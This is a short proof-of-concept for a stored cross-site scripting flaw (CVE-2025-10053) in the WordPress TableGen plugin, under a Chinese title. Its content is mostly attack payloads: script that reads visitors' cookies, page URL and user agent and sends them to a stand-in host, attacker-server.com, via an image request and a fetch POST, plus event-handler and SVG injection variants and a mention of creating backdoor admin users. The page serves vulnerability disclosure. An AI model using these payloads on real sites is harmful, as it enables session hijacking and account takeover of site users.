WordPress TableGen插件存储型XSS漏洞(CVE-2025-10053)

<!-- CVE-2025-10053: TableGen Plugin Stored XSS PoC --> <!-- This PoC demonstrates how an authenticated administrator can inject malicious scripts --> <!-- through the TableGen plugin's admin settings page --> <!-- Step 1: Authenticate as administrator and navigate to TableGen settings page --> <!-- URL: /wp-admin/admin.php?page=tablegen-settings --> <!-- Step 2: Inject malicious JavaScript payload into a vulnerable settings field --> <!-- Example: Inject into table title or description field --> <script> // Malicious payload that will be stored and executed when other users view the page // Example payload: Cookie stealing var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + document.cookie + '&url=' + document.location.href; // Example payload: Session hijacking fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }), headers: {'Content-Type': 'application/json'} }); // Example payload: Privilege escalation / backdoor creation // This could create a new admin user or modify existing user roles </script> <!-- Alternative payload using event handlers (if input is reflected in attributes) --> <img src=x onerror="alert(document.cookie)"> <!-- Alternative payload using SVG --> <svg onload="alert('XSS')"> <!-- Step 3: Submit the form - the malicious payload is now stored in the database --> <!-- Step 4: When any user visits the affected page, the stored XSS will execute automatically -->